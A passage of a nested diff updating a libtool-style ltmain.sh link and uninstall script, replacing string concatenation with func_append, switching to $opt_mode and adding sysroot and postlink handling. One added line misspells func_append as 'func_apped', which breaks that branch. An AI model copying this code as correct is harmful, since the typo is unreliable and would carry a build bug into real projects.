-@@ -6967,7 +7898,7 @@ EOF
- ;;
- *)
- # Add a -L argument.
-- newdeplibs="$newdeplibs $a_deplib"
-+ func_append newdeplibs " $a_deplib"
- ;;
- esac
- done # Gone through all deplibs.
-@@ -7071,7 +8002,7 @@ EOF
- *)
- case " $deplibs " in
- *" -L$path/$objdir "*)
-- new_libs="$new_libs -L$path/$objdir" ;;
-+ func_append new_libs " -L$path/$objdir" ;;
- esac
- ;;
- esac
-@@ -7081,10 +8012,10 @@ EOF
- -L*)
- case " $new_libs " in
- *" $deplib "*) ;;
-- *) new_libs="$new_libs $deplib" ;;
-+ *) func_append new_libs " $deplib" ;;
- esac
- ;;
-- *) new_libs="$new_libs $deplib" ;;
-+ *) func_append new_libs " $deplib" ;;
- esac
- done
- deplibs="$new_libs"
-@@ -7101,10 +8032,12 @@ EOF
- hardcode_libdirs=
- dep_rpath=
- rpath="$finalize_rpath"
-- test "$mode" != relink && rpath="$compile_rpath$rpath"
-+ test "$opt_mode" != relink && rpath="$compile_rpath$rpath"
- for libdir in $rpath; do
- if test -n "$hardcode_libdir_flag_spec"; then
- if test -n "$hardcode_libdir_separator"; then
-+ func_replace_sysroot "$libdir"
-+ libdir=$func_replace_sysroot_result
- if test -z "$hardcode_libdirs"; then
- hardcode_libdirs="$libdir"
- else
-@@ -7113,18 +8046,18 @@ EOF
- *"$hardcode_libdir_separator$libdir$hardcode_libdir_separator"*)
- ;;
- *)
-- hardcode_libdirs="$hardcode_libdirs$hardcode_libdir_separator$libdir"
-+ func_append hardcode_libdirs "$hardcode_libdir_separator$libdir"
- ;;
- esac
- fi
- else
-- eval "flag=\"$hardcode_libdir_flag_spec\""
-- dep_rpath="$dep_rpath $flag"
-+ eval flag=\"$hardcode_libdir_flag_spec\"
-+ func_append dep_rpath " $flag"
- fi
- elif test -n "$runpath_var"; then
- case "$perm_rpath " in
- *" $libdir "*) ;;
-- *) perm_rpath="$perm_rpath $libdir" ;;
-+ *) func_apped perm_rpath " $libdir" ;;
- esac
- fi
- done
-@@ -7133,40 +8066,38 @@ EOF
- test -n "$hardcode_libdirs"; then
- libdir="$hardcode_libdirs"
- if test -n "$hardcode_libdir_flag_spec_ld"; then
-- eval "dep_rpath=\"$hardcode_libdir_flag_spec_ld\""
-+ eval dep_rpath=\"$hardcode_libdir_flag_spec_ld\"
- else
-- eval "dep_rpath=\"$hardcode_libdir_flag_spec\""
-+ eval dep_rpath=\"$hardcode_libdir_flag_spec\"
- fi
- fi
- if test -n "$runpath_var" && test -n "$perm_rpath"; then
- # We should set the runpath_var.
- rpath=
- for dir in $perm_rpath; do
-- rpath="$rpath$dir:"
-+ func_append rpath "$dir:"
- done
-- eval $runpath_var=\$rpath\$$runpath_var
-- export $runpath_var
-+ eval "$runpath_var='$rpath\$$runpath_var'; export $runpath_var"
- fi
- test -n "$dep_rpath" && deplibs="$dep_rpath $deplibs"
- fi
-
- shlibpath="$finalize_shlibpath"
-- test "$mode" != relink && shlibpath="$compile_shlibpath$shlibpath"
-+ test "$opt_mode" != relink && shlibpath="$compile_shlibpath$shlibpath"
- if test -n "$shlibpath"; then
-- eval $shlibpath_var=\$shlibpath\$$shlibpath_var
-- export $shlibpath_var
-+ eval "$shlibpath_var='$shlibpath\$$shlibpath_var'; export $shlibpath_var"
- fi
-
- # Get the real and link names of the library.
-- eval "shared_ext=\"$shrext_cmds\""
-- eval "library_names=\"$library_names_spec\""
-+ eval shared_ext=\"$shrext_cmds\"
-+ eval library_names=\"$library_names_spec\"
- set dummy $library_names
- shift
- realname="$1"
- shift
-
- if test -n "$soname_spec"; then
-- eval "soname=\"$soname_spec\""
-+ eval soname=\"$soname_spec\"
- else
- soname="$realname"
- fi
-@@ -7178,7 +8109,7 @@ EOF
- linknames=
- for link
- do
-- linknames="$linknames $link"
-+ func_append linknames " $link"
- done
-
- # Use standard objects if they are pic
-@@ -7189,7 +8120,7 @@ EOF
- if test -n "$export_symbols" && test -n "$include_expsyms"; then
- $opt_dry_run || cp "$export_symbols" "$output_objdir/$libname.uexp"
- export_symbols="$output_objdir/$libname.uexp"
-- delfiles="$delfiles $export_symbols"
-+ func_append delfiles " $export_symbols"
- fi
-
- orig_export_symbols=
-@@ -7220,13 +8151,45 @@ EOF
- $opt_dry_run || $RM $export_symbols
- cmds=$export_symbols_cmds
- save_ifs="$IFS"; IFS='~'
-- for cmd in $cmds; do
-+ for cmd1 in $cmds; do
- IFS="$save_ifs"
-- eval "cmd=\"$cmd\""
-- func_len " $cmd"
-- len=$func_len_result
-- if test "$len" -lt "$max_cmd_len" || test "$max_cmd_len" -le -1; then
-+ # Take the normal branch if the nm_file_list_spec branch
-+ # doesn't work or if tool conversion is not needed.
-+ case $nm_file_list_spec~$to_tool_file_cmd in
-+ *~func_convert_file_noop | *~func_convert_file_msys_to_w32 | ~*)
-+ try_normal_branch=yes
-+ eval cmd=\"$cmd1\"
-+ func_len " $cmd"
-+ len=$func_len_result
-+ ;;
-+ *)
-+ try_normal_branch=no
-+ ;;
-+ esac
-+ if test "$try_normal_branch" = yes \
-+ && { test "$len" -lt "$max_cmd_len" \
-+ || test "$max_cmd_len" -le -1; }
-+ then
-+ func_show_eval "$cmd" 'exit $?'
-+ skipped_export=false
-+ elif test -n "$nm_file_list_spec"; then
-+ func_basename "$output"
-+ output_la=$func_basename_result
-+ save_libobjs=$libobjs
-+ save_output=$output
-+ output=${output_objdir}/${output_la}.nm
-+ func_to_tool_file "$output"
-+ libobjs=$nm_file_list_spec$func_to_tool_file_result
-+ func_append delfiles " $output"
-+ func_verbose "creating $NM input file list: $output"
-+ for obj in $save_libobjs; do
-+ func_to_tool_file "$obj"
-+ $ECHO "$func_to_tool_file_result"
-+ done > "$output"
-+ eval cmd=\"$cmd1\"
- func_show_eval "$cmd" 'exit $?'
-+ output=$save_output
-+ libobjs=$save_libobjs
- skipped_export=false
- else
- # The command line is too long to execute in one step.
-@@ -7248,7 +8211,7 @@ EOF
- if test -n "$export_symbols" && test -n "$include_expsyms"; then
- tmp_export_symbols="$export_symbols"
- test -n "$orig_export_symbols" && tmp_export_symbols="$orig_export_symbols"
-- $opt_dry_run || $ECHO "$include_expsyms" | $SP2NL >> "$tmp_export_symbols"
-+ $opt_dry_run || eval '$ECHO "$include_expsyms" | $SP2NL >> "$tmp_export_symbols"'
- fi
-
- if test "X$skipped_export" != "X:" && test -n "$orig_export_symbols"; then
-@@ -7260,7 +8223,7 @@ EOF
- # global variables. join(1) would be nice here, but unfortunately
- # isn't a blessed tool.
- $opt_dry_run || $SED -e '/[ ,]DATA/!d;s,\(.*\)\([ \,].*\),s|^\1$|\1\2|,' < $export_symbols > $output_objdir/$libname.filter
-- delfiles="$delfiles $export_symbols $output_objdir/$libname.filter"
-+ func_append delfiles " $export_symbols $output_objdir/$libname.filter"
- export_symbols=$output_objdir/$libname.def
- $opt_dry_run || $SED -f $output_objdir/$libname.filter < $orig_export_symbols > $export_symbols
- fi
-@@ -7270,7 +8233,7 @@ EOF
- case " $convenience " in
- *" $test_deplib "*) ;;
- *)
-- tmp_deplibs="$tmp_deplibs $test_deplib"
-+ func_append tmp_deplibs " $test_deplib"
- ;;
- esac
- done
-@@ -7286,43 +8249,43 @@ EOF
- fi
- if test -n "$whole_archive_flag_spec"; then
- save_libobjs=$libobjs
-- eval "libobjs=\"\$libobjs $whole_archive_flag_spec\""
-+ eval libobjs=\"\$libobjs $whole_archive_flag_spec\"
- test "X$libobjs" = "X " && libobjs=
- else
- gentop="$output_objdir/${outputname}x"
-- generated="$generated $gentop"
-+ func_append generated " $gentop"
-
- func_extract_archives $gentop $convenience
-- libobjs="$libobjs $func_extract_archives_result"
-+ func_append libobjs " $func_extract_archives_result"
- test "X$libobjs" = "X " && libobjs=
- fi
- fi
-
- if test "$thread_safe" = yes && test -n "$thread_safe_flag_spec"; then
-- eval "flag=\"$thread_safe_flag_spec\""
-- linker_flags="$linker_flags $flag"
-+ eval flag=\"$thread_safe_flag_spec\"
-+ func_append linker_flags " $flag"
- fi
-
- # Make a backup of the uninstalled library when relinking
-- if test "$mode" = relink; then
-- $opt_dry_run || (cd $output_objdir && $RM ${realname}U && $MV $realname ${realname}U) || exit $?
-+ if test "$opt_mode" = relink; then
-+ $opt_dry_run || eval '(cd $output_objdir && $RM ${realname}U && $MV $realname ${realname}U)' || exit $?
- fi
-
- # Do each of the archive commands.
- if test "$module" = yes && test -n "$module_cmds" ; then
- if test -n "$export_symbols" && test -n "$module_expsym_cmds"; then
-- eval "test_cmds=\"$module_expsym_cmds\""
-+ eval test_cmds=\"$module_expsym_cmds\"
- cmds=$module_expsym_cmds
- else
-- eval "test_cmds=\"$module_cmds\""
-+ eval test_cmds=\"$module_cmds\"
- cmds=$module_cmds
- fi
- else
- if test -n "$export_symbols" && test -n "$archive_expsym_cmds"; then
-- eval "test_cmds=\"$archive_expsym_cmds\""
-+ eval test_cmds=\"$archive_expsym_cmds\"
- cmds=$archive_expsym_cmds
- else
-- eval "test_cmds=\"$archive_cmds\""
-+ eval test_cmds=\"$archive_cmds\"
- cmds=$archive_cmds
- fi
- fi
-@@ -7366,10 +8329,13 @@ EOF
- echo 'INPUT (' > $output
- for obj in $save_libobjs
- do
-- $ECHO "$obj" >> $output
-+ func_to_tool_file "$obj"
-+ $ECHO "$func_to_tool_file_result" >> $output
- done
- echo ')' >> $output
-- delfiles="$delfiles $output"
-+ func_append delfiles " $output"
-+ func_to_tool_file "$output"
-+ output=$func_to_tool_file_result
- elif test -n "$save_libobjs" && test "X$skipped_export" != "X:" && test "X$file_list_spec" != X; then
- output=${output_objdir}/${output_la}.lnk
- func_verbose "creating linker input file list: $output"
-@@ -7383,15 +8349,17 @@ EOF
- fi
- for obj
- do
-- $ECHO "$obj" >> $output
-+ func_to_tool_file "$obj"
-+ $ECHO "$func_to_tool_file_result" >> $output
- done
-- delfiles="$delfiles $output"
-- output=$firstobj\"$file_list_spec$output\"
-+ func_append delfiles " $output"
-+ func_to_tool_file "$output"
-+ output=$firstobj\"$file_list_spec$func_to_tool_file_result\"
- else
- if test -n "$save_libobjs"; then
- func_verbose "creating reloadable object files..."
- output=$output_objdir/$output_la-${k}.$objext
-- eval "test_cmds=\"$reload_cmds\""
-+ eval test_cmds=\"$reload_cmds\"
- func_len " $test_cmds"
- len0=$func_len_result
- len=$len0
-@@ -7411,12 +8379,12 @@ EOF
- if test "$k" -eq 1 ; then
- # The first file doesn't have a previous command to add.
- reload_objs=$objlist
-- eval "concat_cmds=\"$reload_cmds\""
-+ eval concat_cmds=\"$reload_cmds\"
- else
- # All subsequent reloadable object files will link in
- # the last one created.
- reload_objs="$objlist $last_robj"
-- eval "concat_cmds=\"\$concat_cmds~$reload_cmds~\$RM $last_robj\""
-+ eval concat_cmds=\"\$concat_cmds~$reload_cmds~\$RM $last_robj\"
- fi
- last_robj=$output_objdir/$output_la-${k}.$objext
- func_arith $k + 1
-@@ -7433,11 +8401,11 @@ EOF
- # files will link in the last one created.
- test -z "$concat_cmds" || concat_cmds=$concat_cmds~
- reload_objs="$objlist $last_robj"
-- eval "concat_cmds=\"\${concat_cmds}$reload_cmds\""
-+ eval concat_cmds=\"\${concat_cmds}$reload_cmds\"
- if test -n "$last_robj"; then
-- eval "concat_cmds=\"\${concat_cmds}~\$RM $last_robj\""
-+ eval concat_cmds=\"\${concat_cmds}~\$RM $last_robj\"
- fi
-- delfiles="$delfiles $output"
-+ func_append delfiles " $output"
-
- else
- output=
-@@ -7450,9 +8418,9 @@ EOF
- libobjs=$output
- # Append the command to create the export file.
- test -z "$concat_cmds" || concat_cmds=$concat_cmds~
-- eval "concat_cmds=\"\$concat_cmds$export_symbols_cmds\""
-+ eval concat_cmds=\"\$concat_cmds$export_symbols_cmds\"
- if test -n "$last_robj"; then
-- eval "concat_cmds=\"\$concat_cmds~\$RM $last_robj\""
-+ eval concat_cmds=\"\$concat_cmds~\$RM $last_robj\"
- fi
- fi
-
-@@ -7471,7 +8439,7 @@ EOF
- lt_exit=$?
-
- # Restore the uninstalled library and exit
-- if test "$mode" = relink; then
-+ if test "$opt_mode" = relink; then
- ( cd "$output_objdir" && \
- $RM "${realname}T" && \
- $MV "${realname}U" "$realname" )
-@@ -7492,7 +8460,7 @@ EOF
- if test -n "$export_symbols" && test -n "$include_expsyms"; then
- tmp_export_symbols="$export_symbols"
- test -n "$orig_export_symbols" && tmp_export_symbols="$orig_export_symbols"
-- $opt_dry_run || $ECHO "$include_expsyms" | $SP2NL >> "$tmp_export_symbols"
-+ $opt_dry_run || eval '$ECHO "$include_expsyms" | $SP2NL >> "$tmp_export_symbols"'
- fi
-
- if test -n "$orig_export_symbols"; then
-@@ -7504,7 +8472,7 @@ EOF
- # global variables. join(1) would be nice here, but unfortunately
- # isn't a blessed tool.
- $opt_dry_run || $SED -e '/[ ,]DATA/!d;s,\(.*\)\([ \,].*\),s|^\1$|\1\2|,' < $export_symbols > $output_objdir/$libname.filter
-- delfiles="$delfiles $export_symbols $output_objdir/$libname.filter"
-+ func_append delfiles " $export_symbols $output_objdir/$libname.filter"
- export_symbols=$output_objdir/$libname.def
- $opt_dry_run || $SED -f $output_objdir/$libname.filter < $orig_export_symbols > $export_symbols
- fi
-@@ -7515,7 +8483,7 @@ EOF
- output=$save_output
-
- if test -n "$convenience" && test -n "$whole_archive_flag_spec"; then
-- eval "libobjs=\"\$libobjs $whole_archive_flag_spec\""
-+ eval libobjs=\"\$libobjs $whole_archive_flag_spec\"
- test "X$libobjs" = "X " && libobjs=
- fi
- # Expand the library linking commands again to reset the
-@@ -7539,23 +8507,23 @@ EOF
-
- if test -n "$delfiles"; then
- # Append the command to remove temporary files to $cmds.
-- eval "cmds=\"\$cmds~\$RM $delfiles\""
-+ eval cmds=\"\$cmds~\$RM $delfiles\"
- fi
-
- # Add any objects from preloaded convenience libraries
- if test -n "$dlprefiles"; then
- gentop="$output_objdir/${outputname}x"
-- generated="$generated $gentop"
-+ func_append generated " $gentop"
-
- func_extract_archives $gentop $dlprefiles
-- libobjs="$libobjs $func_extract_archives_result"
-+ func_append libobjs " $func_extract_archives_result"
- test "X$libobjs" = "X " && libobjs=
- fi
-
- save_ifs="$IFS"; IFS='~'
- for cmd in $cmds; do
- IFS="$save_ifs"
-- eval "cmd=\"$cmd\""
-+ eval cmd=\"$cmd\"
- $opt_silent || {
- func_quote_for_expand "$cmd"
- eval "func_echo $func_quote_for_expand_result"
-@@ -7564,7 +8532,7 @@ EOF
- lt_exit=$?
-
- # Restore the uninstalled library and exit
-- if test "$mode" = relink; then
-+ if test "$opt_mode" = relink; then
- ( cd "$output_objdir" && \
- $RM "${realname}T" && \
- $MV "${realname}U" "$realname" )
-@@ -7576,8 +8544,8 @@ EOF
- IFS="$save_ifs"
-
- # Restore the uninstalled library and exit
-- if test "$mode" = relink; then
-- $opt_dry_run || (cd $output_objdir && $RM ${realname}T && $MV $realname ${realname}T && $MV ${realname}U $realname) || exit $?
-+ if test "$opt_mode" = relink; then
-+ $opt_dry_run || eval '(cd $output_objdir && $RM ${realname}T && $MV $realname ${realname}T && $MV ${realname}U $realname)' || exit $?
-
- if test -n "$convenience"; then
- if test -z "$whole_archive_flag_spec"; then
-@@ -7656,17 +8624,20 @@ EOF
-
- if test -n "$convenience"; then
- if test -n "$whole_archive_flag_spec"; then
-- eval "tmp_whole_archive_flags=\"$whole_archive_flag_spec\""
-+ eval tmp_whole_archive_flags=\"$whole_archive_flag_spec\"
- reload_conv_objs=$reload_objs\ `$ECHO "$tmp_whole_archive_flags" | $SED 's|,| |g'`
- else
- gentop="$output_objdir/${obj}x"
-- generated="$generated $gentop"
-+ func_append generated " $gentop"
-
- func_extract_archives $gentop $convenience
- reload_conv_objs="$reload_objs $func_extract_archives_result"
- fi
- fi
-
-+ # If we're not building shared, we need to use non_pic_objs
-+ test "$build_libtool_libs" != yes && libobjs="$non_pic_objects"
-+
- # Create the old-style object.
- reload_objs="$objs$old_deplibs "`$ECHO "$libobjs" | $SP2NL | $SED "/\.${libext}$/d; /\.lib$/d; $lo2o" | $NL2SP`" $reload_conv_objs" ### testsuite: skip nested quoting test
-
-@@ -7690,7 +8661,7 @@ EOF
- # Create an invalid libtool object if no PIC, so that we don't
- # accidentally link it into a program.
- # $show "echo timestamp > $libobj"
-- # $opt_dry_run || echo timestamp > $libobj || exit $?
-+ # $opt_dry_run || eval "echo timestamp > $libobj" || exit $?
- exit $EXIT_SUCCESS
- fi
-
-@@ -7740,8 +8711,8 @@ EOF
- if test "$tagname" = CXX ; then
- case ${MACOSX_DEPLOYMENT_TARGET-10.0} in
- 10.[0123])
-- compile_command="$compile_command ${wl}-bind_at_load"
-- finalize_command="$finalize_command ${wl}-bind_at_load"
-+ func_append compile_command " ${wl}-bind_at_load"
-+ func_append finalize_command " ${wl}-bind_at_load"
- ;;
- esac
- fi
-@@ -7761,7 +8732,7 @@ EOF
- *)
- case " $compile_deplibs " in
- *" -L$path/$objdir "*)
-- new_libs="$new_libs -L$path/$objdir" ;;
-+ func_append new_libs " -L$path/$objdir" ;;
- esac
- ;;
- esac
-@@ -7771,17 +8742,17 @@ EOF
- -L*)
- case " $new_libs " in
- *" $deplib "*) ;;
-- *) new_libs="$new_libs $deplib" ;;
-+ *) func_append new_libs " $deplib" ;;
- esac
- ;;
-- *) new_libs="$new_libs $deplib" ;;
-+ *) func_append new_libs " $deplib" ;;
- esac
- done
- compile_deplibs="$new_libs"
-
-
-- compile_command="$compile_command $compile_deplibs"
-- finalize_command="$finalize_command $finalize_deplibs"
-+ func_append compile_command " $compile_deplibs"
-+ func_append finalize_command " $finalize_deplibs"
-
- if test -n "$rpath$xrpath"; then
- # If the user specified any rpath flags, then add them.
-@@ -7789,7 +8760,7 @@ EOF
- # This is the magic to use -rpath.
- case "$finalize_rpath " in
- *" $libdir "*) ;;
-- *) finalize_rpath="$finalize_rpath $libdir" ;;
-+ *) func_append finalize_rpath " $libdir" ;;
- esac
- done
- fi
-@@ -7808,18 +8779,18 @@ EOF
- *"$hardcode_libdir_separator$libdir$hardcode_libdir_separator"*)
- ;;
- *)
-- hardcode_libdirs="$hardcode_libdirs$hardcode_libdir_separator$libdir"
-+ func_append hardcode_libdirs "$hardcode_libdir_separator$libdir"
- ;;
- esac
- fi
- else
-- eval "flag=\"$hardcode_libdir_flag_spec\""
-- rpath="$rpath $flag"
-+ eval flag=\"$hardcode_libdir_flag_spec\"
-+ func_append rpath " $flag"
- fi
- elif test -n "$runpath_var"; then
- case "$perm_rpath " in
- *" $libdir "*) ;;
-- *) perm_rpath="$perm_rpath $libdir" ;;
-+ *) func_append perm_rpath " $libdir" ;;
- esac
- fi
- case $host in
-@@ -7828,12 +8799,12 @@ EOF
- case :$dllsearchpath: in
- *":$libdir:"*) ;;
- ::) dllsearchpath=$libdir;;
-- *) dllsearchpath="$dllsearchpath:$libdir";;
-+ *) func_append dllsearchpath ":$libdir";;
- esac
- case :$dllsearchpath: in
- *":$testbindir:"*) ;;
- ::) dllsearchpath=$testbindir;;
-- *) dllsearchpath="$dllsearchpath:$testbindir";;
-+ *) func_append dllsearchpath ":$testbindir";;
- esac
- ;;
- esac
-@@ -7842,7 +8813,7 @@ EOF
- if test -n "$hardcode_libdir_separator" &&
- test -n "$hardcode_libdirs"; then
- libdir="$hardcode_libdirs"
-- eval "rpath=\" $hardcode_libdir_flag_spec\""
-+ eval rpath=\" $hardcode_libdir_flag_spec\"
- fi
- compile_rpath="$rpath"
-
-@@ -7859,18 +8830,18 @@ EOF
- *"$hardcode_libdir_separator$libdir$hardcode_libdir_separator"*)
- ;;
- *)
-- hardcode_libdirs="$hardcode_libdirs$hardcode_libdir_separator$libdir"
-+ func_append hardcode_libdirs "$hardcode_libdir_separator$libdir"
- ;;
- esac
- fi
- else
-- eval "flag=\"$hardcode_libdir_flag_spec\""
-- rpath="$rpath $flag"
-+ eval flag=\"$hardcode_libdir_flag_spec\"
-+ func_append rpath " $flag"
- fi
- elif test -n "$runpath_var"; then
- case "$finalize_perm_rpath " in
- *" $libdir "*) ;;
-- *) finalize_perm_rpath="$finalize_perm_rpath $libdir" ;;
-+ *) func_append finalize_perm_rpath " $libdir" ;;
- esac
- fi
- done
-@@ -7878,7 +8849,7 @@ EOF
- if test -n "$hardcode_libdir_separator" &&
- test -n "$hardcode_libdirs"; then
- libdir="$hardcode_libdirs"
-- eval "rpath=\" $hardcode_libdir_flag_spec\""
-+ eval rpath=\" $hardcode_libdir_flag_spec\"
- fi
- finalize_rpath="$rpath"
-
-@@ -7921,6 +8892,12 @@ EOF
- exit_status=0
- func_show_eval "$link_command" 'exit_status=$?'
-
-+ if test -n "$postlink_cmds"; then
-+ func_to_tool_file "$output"
-+ postlink_cmds=`func_echo_all "$postlink_cmds" | $SED -e 's%@OUTPUT@%'"$output"'%g' -e 's%@TOOL_OUTPUT@%'"$func_to_tool_file_result"'%g'`
-+ func_execute_cmds "$postlink_cmds" 'exit $?'
-+ fi
-+
- # Delete the generated files.
- if test -f "$output_objdir/${outputname}S.${objext}"; then
- func_show_eval '$RM "$output_objdir/${outputname}S.${objext}"'
-@@ -7943,7 +8920,7 @@ EOF
- # We should set the runpath_var.
- rpath=
- for dir in $perm_rpath; do
-- rpath="$rpath$dir:"
-+ func_append rpath "$dir:"
- done
- compile_var="$runpath_var=\"$rpath\$$runpath_var\" "
- fi
-@@ -7951,7 +8928,7 @@ EOF
- # We should set the runpath_var.
- rpath=
- for dir in $finalize_perm_rpath; do
-- rpath="$rpath$dir:"
-+ func_append rpath "$dir:"
- done
- finalize_var="$runpath_var=\"$rpath\$$runpath_var\" "
- fi
-@@ -7966,6 +8943,13 @@ EOF
- $opt_dry_run || $RM $output
- # Link the executable and exit
- func_show_eval "$link_command" 'exit $?'
-+
-+ if test -n "$postlink_cmds"; then
-+ func_to_tool_file "$output"
-+ postlink_cmds=`func_echo_all "$postlink_cmds" | $SED -e 's%@OUTPUT@%'"$output"'%g' -e 's%@TOOL_OUTPUT@%'"$func_to_tool_file_result"'%g'`
-+ func_execute_cmds "$postlink_cmds" 'exit $?'
-+ fi
-+
- exit $EXIT_SUCCESS
- fi
-
-@@ -7999,6 +8983,12 @@ EOF
-
- func_show_eval "$link_command" 'exit $?'
-
-+ if test -n "$postlink_cmds"; then
-+ func_to_tool_file "$output_objdir/$outputname"
-+ postlink_cmds=`func_echo_all "$postlink_cmds" | $SED -e 's%@OUTPUT@%'"$output_objdir/$outputname"'%g' -e 's%@TOOL_OUTPUT@%'"$func_to_tool_file_result"'%g'`
-+ func_execute_cmds "$postlink_cmds" 'exit $?'
-+ fi
-+
- # Now create the wrapper script.
- func_verbose "creating $output"
-
-@@ -8096,7 +9086,7 @@ EOF
- else
- oldobjs="$old_deplibs $non_pic_objects"
- if test "$preload" = yes && test -f "$symfileobj"; then
-- oldobjs="$oldobjs $symfileobj"
-+ func_append oldobjs " $symfileobj"
- fi
- fi
- addlibs="$old_convenience"
-@@ -8104,10 +9094,10 @@ EOF
-
- if test -n "$addlibs"; then
- gentop="$output_objdir/${outputname}x"
-- generated="$generated $gentop"
-+ func_append generated " $gentop"
-
- func_extract_archives $gentop $addlibs
-- oldobjs="$oldobjs $func_extract_archives_result"
-+ func_append oldobjs " $func_extract_archives_result"
- fi
-
- # Do each command in the archive commands.
-@@ -8118,10 +9108,10 @@ EOF
- # Add any objects from preloaded convenience libraries
- if test -n "$dlprefiles"; then
- gentop="$output_objdir/${outputname}x"
-- generated="$generated $gentop"
-+ func_append generated " $gentop"
-
- func_extract_archives $gentop $dlprefiles
-- oldobjs="$oldobjs $func_extract_archives_result"
-+ func_append oldobjs " $func_extract_archives_result"
- fi
-
- # POSIX demands no paths to be encoded in archives. We have
-@@ -8139,7 +9129,7 @@ EOF
- else
- echo "copying selected object files to avoid basename conflicts..."
- gentop="$output_objdir/${outputname}x"
-- generated="$generated $gentop"
-+ func_append generated " $gentop"
- func_mkdir_p "$gentop"
- save_oldobjs=$oldobjs
- oldobjs=
-@@ -8163,18 +9153,28 @@ EOF
- esac
- done
- func_show_eval "ln $obj $gentop/$newobj || cp $obj $gentop/$newobj"
-- oldobjs="$oldobjs $gentop/$newobj"
-+ func_append oldobjs " $gentop/$newobj"
- ;;
-- *) oldobjs="$oldobjs $obj" ;;
-+ *) func_append oldobjs " $obj" ;;
- esac
- done
- fi
-- eval "cmds=\"$old_archive_cmds\""
-+ eval cmds=\"$old_archive_cmds\"
-
- func_len " $cmds"
- len=$func_len_result
- if test "$len" -lt "$max_cmd_len" || test "$max_cmd_len" -le -1; then
- cmds=$old_archive_cmds
-+ elif test -n "$archiver_list_spec"; then
-+ func_verbose "using command file archive linking..."
-+ for obj in $oldobjs
-+ do
-+ func_to_tool_file "$obj"
-+ $ECHO "$func_to_tool_file_result"
-+ done > $output_objdir/$libname.libcmd
-+ func_to_tool_file "$output_objdir/$libname.libcmd"
-+ oldobjs=" $archiver_list_spec$func_to_tool_file_result"
-+ cmds=$old_archive_cmds
- else
- # the command line is too long to link in one step, link in parts
- func_verbose "using piecewise archive linking..."
-@@ -8189,7 +9189,7 @@ EOF
- do
- last_oldobj=$obj
- done
-- eval "test_cmds=\"$old_archive_cmds\""
-+ eval test_cmds=\"$old_archive_cmds\"
- func_len " $test_cmds"
- len0=$func_len_result
- len=$len0
-@@ -8208,7 +9208,7 @@ EOF
- RANLIB=$save_RANLIB
- fi
- test -z "$concat_cmds" || concat_cmds=$concat_cmds~
-- eval "concat_cmds=\"\${concat_cmds}$old_archive_cmds\""
-+ eval concat_cmds=\"\${concat_cmds}$old_archive_cmds\"
- objlist=
- len=$len0
- fi
-@@ -8216,9 +9216,9 @@ EOF
- RANLIB=$save_RANLIB
- oldobjs=$objlist
- if test "X$oldobjs" = "X" ; then
-- eval "cmds=\"\$concat_cmds\""
-+ eval cmds=\"\$concat_cmds\"
- else
-- eval "cmds=\"\$concat_cmds~\$old_archive_cmds\""
-+ eval cmds=\"\$concat_cmds~\$old_archive_cmds\"
- fi
- fi
- fi
-@@ -8268,12 +9268,23 @@ EOF
- *.la)
- func_basename "$deplib"
- name="$func_basename_result"
-- libdir=`${SED} -n -e 's/^libdir=\(.*\)$/\1/p' $deplib`
-+ func_resolve_sysroot "$deplib"
-+ eval libdir=`${SED} -n -e 's/^libdir=\(.*\)$/\1/p' $func_resolve_sysroot_result`
- test -z "$libdir" && \
- func_fatal_error "\`$deplib' is not a valid libtool archive"
-- newdependency_libs="$newdependency_libs $libdir/$name"
-+ func_append newdependency_libs " ${lt_sysroot:+=}$libdir/$name"
-+ ;;
-+ -L*)
-+ func_stripname -L '' "$deplib"
-+ func_replace_sysroot "$func_stripname_result"
-+ func_append newdependency_libs " -L$func_replace_sysroot_result"
- ;;
-- *) newdependency_libs="$newdependency_libs $deplib" ;;
-+ -R*)
-+ func_stripname -R '' "$deplib"
-+ func_replace_sysroot "$func_stripname_result"
-+ func_append newdependency_libs " -R$func_replace_sysroot_result"
-+ ;;
-+ *) func_append newdependency_libs " $deplib" ;;
- esac
- done
- dependency_libs="$newdependency_libs"
-@@ -8284,12 +9295,14 @@ EOF
- *.la)
- func_basename "$lib"
- name="$func_basename_result"
-- libdir=`${SED} -n -e 's/^libdir=\(.*\)$/\1/p' $lib`
-+ func_resolve_sysroot "$lib"
-+ eval libdir=`${SED} -n -e 's/^libdir=\(.*\)$/\1/p' $func_resolve_sysroot_result`
-+
- test -z "$libdir" && \
- func_fatal_error "\`$lib' is not a valid libtool archive"
-- newdlfiles="$newdlfiles $libdir/$name"
-+ func_append newdlfiles " ${lt_sysroot:+=}$libdir/$name"
- ;;
-- *) newdlfiles="$newdlfiles $lib" ;;
-+ *) func_append newdlfiles " $lib" ;;
- esac
- done
- dlfiles="$newdlfiles"
-@@ -8303,10 +9316,11 @@ EOF
- # the library:
- func_basename "$lib"
- name="$func_basename_result"
-- libdir=`${SED} -n -e 's/^libdir=\(.*\)$/\1/p' $lib`
-+ func_resolve_sysroot "$lib"
-+ eval libdir=`${SED} -n -e 's/^libdir=\(.*\)$/\1/p' $func_resolve_sysroot_result`
- test -z "$libdir" && \
- func_fatal_error "\`$lib' is not a valid libtool archive"
-- newdlprefiles="$newdlprefiles $libdir/$name"
-+ func_append newdlprefiles " ${lt_sysroot:+=}$libdir/$name"
- ;;
- esac
- done
-@@ -8318,7 +9332,7 @@ EOF
- [\\/]* | [A-Za-z]:[\\/]*) abs="$lib" ;;
- *) abs=`pwd`"/$lib" ;;
- esac
-- newdlfiles="$newdlfiles $abs"
-+ func_append newdlfiles " $abs"
- done
- dlfiles="$newdlfiles"
- newdlprefiles=
-@@ -8327,7 +9341,7 @@ EOF
- [\\/]* | [A-Za-z]:[\\/]*) abs="$lib" ;;
- *) abs=`pwd`"/$lib" ;;
- esac
-- newdlprefiles="$newdlprefiles $abs"
-+ func_append newdlprefiles " $abs"
- done
- dlprefiles="$newdlprefiles"
- fi
-@@ -8412,7 +9426,7 @@ relink_command=\"$relink_command\""
- exit $EXIT_SUCCESS
- }
-
--{ test "$mode" = link || test "$mode" = relink; } &&
-+{ test "$opt_mode" = link || test "$opt_mode" = relink; } &&
- func_mode_link ${1+"$@"}
-
-
-@@ -8432,9 +9446,9 @@ func_mode_uninstall ()
- for arg
- do
- case $arg in
-- -f) RM="$RM $arg"; rmforce=yes ;;
-- -*) RM="$RM $arg" ;;
-- *) files="$files $arg" ;;
-+ -f) func_append RM " $arg"; rmforce=yes ;;
-+ -*) func_append RM " $arg" ;;
-+ *) func_append files " $arg" ;;
- esac
- done
-
-@@ -8443,24 +9457,23 @@ func_mode_uninstall ()
-
- rmdirs=
-
-- origobjdir="$objdir"
- for file in $files; do
- func_dirname "$file" "" "."
- dir="$func_dirname_result"
